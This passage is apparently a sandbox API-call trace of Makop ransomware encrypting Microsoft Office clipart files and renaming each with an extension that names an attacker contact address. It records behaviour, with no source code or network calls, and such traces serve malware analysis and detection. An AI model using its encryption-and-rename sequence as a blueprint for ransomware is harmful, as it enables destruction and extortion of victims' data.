nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1 [0127.190] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned 63 [0127.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.193] GetProcessHeap () returned 0x48a0000 [0127.193] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.193] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.193] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.193] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0127.197] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.197] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.197] GetProcessHeap () returned 0x48a0000 [0127.197] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.197] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.197] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.197] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.198] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.198] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.198] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.198] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.199] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.199] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.199] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4e46, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4e46, lpOverlapped=0x0) returned 1 [0127.201] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e50, dwBufLen=0x4e50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e50) returned 1 [0127.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.201] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4e50, lpOverlapped=0x0) returned 1 [0127.201] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.202] SetEndOfFile (hFile=0xf0) returned 1 [0127.209] GetProcessHeap () returned 0x48a0000 [0127.209] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.209] GetProcessHeap () returned 0x48a0000 [0127.209] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.209] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.209] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.211] CloseHandle (hObject=0xf0) returned 1 [0127.211] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1 [0127.211] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0127.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.212] GetProcessHeap () returned 0x48a0000 [0127.212] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.212] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.212] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.212] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.218] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.218] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.218] GetProcessHeap () returned 0x48a0000 [0127.218] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.218] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.218] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.218] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.218] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.219] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.219] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.219] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.219] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.219] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.219] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.219] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.219] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x69d8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x69d8, lpOverlapped=0x0) returned 1 [0127.221] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x69e0, dwBufLen=0x69e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x69e0) returned 1 [0127.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.222] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x69e0, lpOverlapped=0x0) returned 1 [0127.222] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.223] SetEndOfFile (hFile=0xf0) returned 1 [0127.231] GetProcessHeap () returned 0x48a0000 [0127.232] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.232] GetProcessHeap () returned 0x48a0000 [0127.232] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.232] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.234] CloseHandle (hObject=0xf0) returned 1 [0127.234] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1 [0127.234] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0127.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.236] GetProcessHeap () returned 0x48a0000 [0127.236] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.236] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.236] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.237] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.237] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.237] GetProcessHeap () returned 0x48a0000 [0127.237] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.237] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.237] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.237] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.244] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.244] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.244] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.244] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.244] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.244] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.245] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.245] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x62e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x62e0, lpOverlapped=0x0) returned 1 [0127.247] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62e0, dwBufLen=0x62e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62e0) returned 1 [0127.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.247] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x62e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x62e0, lpOverlapped=0x0) returned 1 [0127.247] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x63b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.247] SetEndOfFile (hFile=0xf0) returned 1 [0127.255] GetProcessHeap () returned 0x48a0000 [0127.255] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.255] GetProcessHeap () returned 0x48a0000 [0127.255] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.255] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.257] CloseHandle (hObject=0xf0) returned 1 [0127.257] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1 [0127.257] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0127.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.258] GetProcessHeap () returned 0x48a0000 [0127.258] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.258] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.258] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.258] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0127.263] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.263] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.263] GetProcessHeap () returned 0x48a0000 [0127.263] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.263] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.263] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.263] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.264] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.264] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.264] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.264] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.264] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.265] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.265] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.265] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.265] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe956, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe956, lpOverlapped=0x0) returned 1 [0127.267] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe960, dwBufLen=0xe960 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe960) returned 1 [0127.267] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.268] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe960, lpOverlapped=0x0) returned 1 [0127.268] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.268] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xea34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.268] SetEndOfFile (hFile=0xf0) returned 1 [0127.277] GetProcessHeap () returned 0x48a0000 [0127.277] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.277] GetProcessHeap () returned 0x48a0000 [0127.277] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.277] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.280] CloseHandle (hObject=0xf0) returned 1 